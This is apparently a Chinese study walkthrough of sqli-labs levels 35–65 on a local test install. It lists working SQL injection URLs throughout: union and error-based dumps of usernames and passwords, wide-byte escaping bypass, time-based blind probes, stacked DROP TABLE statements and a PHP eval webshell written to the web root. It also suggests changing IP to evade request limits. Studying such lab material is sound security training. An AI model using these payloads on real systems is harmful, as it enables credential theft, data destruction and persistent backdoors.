其实本关和34基本相同,我们首先分析一下代码: $id=check_addslashes($_GET['id']); 首先还是对id的值进行过滤处理 $sql=“SELECT * FROM users WHERE id=$id LIMIT 0,1"; 在这个位置中,id值没有经过单引号的包裹,所以我们只要在注入的时候防止我们构造的sql注入句子中避免单引号等即可!
法一: 联合查询注入 http://127.0.0.1/sqli/Less-35/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata#
法二:延时注入 http://127.0.0.1/sqli/Less-35/?id=1 and if( length(database())=1, 1, sleep(5) )#通过这样的方式进行判断。
Less-36
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
我们首先进行源代码审计,发现代码中使用了
mysql_real_escape_string 函数
我们此处尝试直接使用原来的宽字节注入: http://127.0.0.1/sqli/Less-36/?id=1%df' # 发现有作用,可以进行注入 http://127.0.0.1/sqli/Less-36/?id=1111%df' union select 1,2,3 --+ 接下来就是正常的注入流程了。
完整演示:
1. http://127.0.0.1/sqli/Less-36/?id=1111%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 1取出所有的库 2. http://127.0.0.1/sqli/Less-36/?id=1111%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 --+ 取出所有的表 3. http://127.0.0.1/sqli/Less-36/?id=1111%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 --+ 取出所有的字段 4. http://127.0.0.1/sqli/Less-36/?id=1111%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 取出所有的字段的值
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。 我们可以在mysql命令行中进行测试: Select * from users; create table test1 like users; Show tables; Select * from users; drop table test1; Select * from users; select 1,2,3;
Less-38
1 2 3 4 5
我们直接构造语句: http://127.0.0.1/sqli/Less-38/?id=1'; create table test2 like users; --+ 然后在数据库中查看是否可以完成执行: show tables; 我们可以构造数据删除已经创建的表: http://127.0.0.1/sqli/Less-38/?id=1'; drop table test2 ; --+
此时的sql为: "SELECT * FROM users WHERE username='$username' and password='$password'" 我们可以看到password没有经过mysqli_real_escape_string()函数进行处理,所以这个时候我们在这个位置进行构造: 在登录的时候,我们使用任意的username,password可以构造为:
a'; create table test2 like users; # 然后观察是否有test2表 a'; drop table test2; # 观察test2表是否删除
Less-43
1 2 3 4 5 6
这一关和less42非常像,区别就在于对于id值得处理: 此时的sql为: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; 在登录的时候,我们使用任意的username,password可以构造为: a'); create table test2 like users; # 然后观察是否有test2表 a'); drop table test2; # 观察test2表是否删除
Less-44
1 2 3 4 5
本关和前面的基本是一样的,只是没有报错回显信息 此时的sql为: $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; 在登录的时候,我们使用任意的username,password可以构造为: a'; create table test2 like users; # 然后观察是否有test2表 a'; drop table test2; # 观察test2表是否删除
Less-45
1 2 3 4 5
本关和less43关的基本是一样的,只是没有报错回显信息 此时的sql为: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; 在登录的时候,我们使用任意的username,password可以构造为: a'); create table test2 like users; # 然后观察是否有test2表 a'); drop table test2; # 观察test2表是否删除
堆叠注入写一句话木马
写权限
一句话木马
select xxx into outfile xxx
写入点; 绝对路径
1 2 3 4 5 6
php一句话木马:<?php @eval($_POST[test2]); ?> 绝对路径: C:\phpstudy\PHPTutorial\WWW\ 使用函数: select xxx into outfile xxx select '<?php @eval($_POST[test2]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test2.php';
mysql知识补充
1 2 3 4 5 6 7 8 9 10 11 12 13
select * from users order by 1 desc; 使用降序进行排列
select * from users order by1 asc;使用升序进行排列
right() select right(database(),1);
Left() select left(database(),1);
lines terminated by xxx 以xxx为结尾:
select '<?php @eval($_ POST[test2]);?>' into outfile 'C:\pbpstudy\PHPTutorilWWW.test2.pbp' lines terminated by 0x363636;
我们直接看源码中的sql语句SELECT * FROM users ORDER BY 1 这里无法存在报错回显,我们就可以使用以下几种方法: 1.基于时间的盲注 2.写一句话木马 3.使用堆叠注入创建删除一个表: 4.使用堆叠注入写一句话木马 以上方法请参考less50,其他的都是相同的。只是不能够回显错误,所以不能用盲注。
Less-53
1 2 3 4 5 6 7
我们直接看源码中的sql语句SELECT * FROM users ORDER BY '1' 这里无法存在报错回显,我们就可以使用以下几种方法: 1.基于时间的盲注 2.写一句话木马 3.使用堆叠注入创建删除一个表: 4.使用堆叠注入写一句话木马 以上方法请参考less50,其他的都是相同的。只是不能够回显错误,所以不能用盲注。
Less-54
本关中是对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名
1 2 3 4 5 6 7 8 9
1. http://127.0.0.1/sql/Less-54/index.php?id=1 返回正常的信息 2. http://127.0.0.1/sql/Less-54/index.php?id=1 ' 有错误,但是没有回显信息 3. http://127.0.0.1/sql/Less-54/index.php?id=1 ' --+返回正常 4. http://127.0.0.1/sql/Less-54/index.php?id=1 ' order by 1 --+返回正常 5. http://127.0.0.1/sql/Less-54/index.php?id=1 ' order by 4 --+返回错误 6. http://127.0.0.1/sql/Less-54/index.php?id=1 ' order by 3 --+返回正常,说明存在三列 7. http://127.0.0.1/sql/Less-54/index.php?id=1 ' union select 1,2,group concat(table_name) from Information_schema_tables where table_schema =0x4348414c4c454e474553 --+ 爆出表名,因为我们已经知道数据库的名字是challenges 8. http://127.0.0.1/sql/Less-54/index.php?id=1 ' union select 1,2,group_concat(column_name) from Information_schema.columns where table._name =0x6a7a3063323772396c38 --+ 取出所有的列名 9. http://127.0.0.1/sql/Less-54/index.php?id=1 ' union select 1,2,group concat( concat ws(0x7e,id,sessid,secret BTL5,tryy))from challenges. jz0c27r9I8 --+取出所有的数据
Less-55
1 2 3 4
本关中是对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名 Ssql="'SEL ECT * FROM security.users WHERE id=($id) LIMIT 0,1";与less54唯-不同的地方在于id值的处理 1. http://127.0.0.1/sqli/Less-55/?id=1) --+ 所以直接按照less54的来即可! 如果在实际环境中遇到这样的情况,次数不够的话,我们可以从ip地址等可能的地方突破,比如更换ip地址等
Less-56
1 2 3 4
本关中是对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名 $sql=“SELECT * FROM security.users WHERE id='$id) LIMIT 0,1";与less55唯一不同的地方在于id值的处理 1. http://127.0.0.1/sqli/less-56/id=1') --+所以直接按照ess54的来即可! 如果在实际环境中遇到这样的情况,次数不够的话,我们可以从ip地址等可能的地方突破,比如更换ip地址等
Less-57
1 2 3 4 5 6 7
本关中是对输入的次数做了限制,必须在14次请求之内获取信息,否则会刷新表名 Sid= “ ".di.""; $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1"; 与less54唯不同的地方 在于id值的处理 1. http://127.0.0.1/sqli/Less 57/id=1" -- +所以直接按照less54的来即可! 如果在实际环境中遇到这样的情况,次数不够的话,我们可以从ip地址等可能的地方突破,比如更换ip地址等
Less-58
1 2 3 4 5 6 7
本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id='1' 1. 过不断重置数据库发现: 1. http://127.0.0.1/sqli/Less-58/index.php?id=1' union select 1,2,3 --+这里没有回显数据,所以我们使用union select查询好像没有什么效果 2. http://127.0.0.1/sqli/Less-58/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from Information_schema.tables where table_schema= 0x4348414c4c454e474553 ),1) --+ 直接爆出表 3. http://127.0.0.1/sqli/Less-58/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='mk25r38vwy ),1)-+ 直接爆出字段名字 4. http://127.0.0.1/sqli/Less-58/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret _OHW4) from CHALLENGES.mk25r38vwy ),1)-+得到字段的值
Less-59
1 2 3
本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id=1 LIMIT 0,1 这个与less58中不相同的地方大概就在id的处理上,其余的都是相同的。
Less-60
1 2 3 4
本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id=("1") LIMIT 0,1 这个与less58中不相同的地方大概就在id的处理.上,其余的都是相同的。
Less-61
1 2 3 4
本关中是对输入的次数做了限制,必须在5次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id=(("1“)) LIMIT 0,1 这个与less58中不相同的地方大概就在id的处理.上,其余的都是相同的。
Less-62
1 2 3 4 5 6 7 8
本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id=('1') LIMIT 0,1 看到这么多次数,第一时间想到了就是坑爹的延时注入,我们在这里演示一个延时的写法,在后来可能大概不放鸽 子的课程中会写一个 1. http://127.0.0.1/ali/lesss-62/index.php?id=1) and if( (length(database()) = 1) ,1, sleep(5)) --+首先判断数据库的长度 (不过好像已经给出了数据库的名字了。。。。) 2. http://127.0.0.1/sql/Less -62/index.php?id=1) and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+判断该表的第一位字母是不是比a大
Less-63
1 2
本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id='1' LIMIT 0,1
Less-64
1 2
本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id=‘1’ LIMIT 0,1(也就是这里不一样,这个sql语句可能是错误的,本关请参考视频内容)
Less-65
1 2
本关中是对输入的次数做了限制,必须在130次请求之内获取信息,否则会刷新表名 SELECT * FROM security.users WHERE id=("1") LIMIT 0,1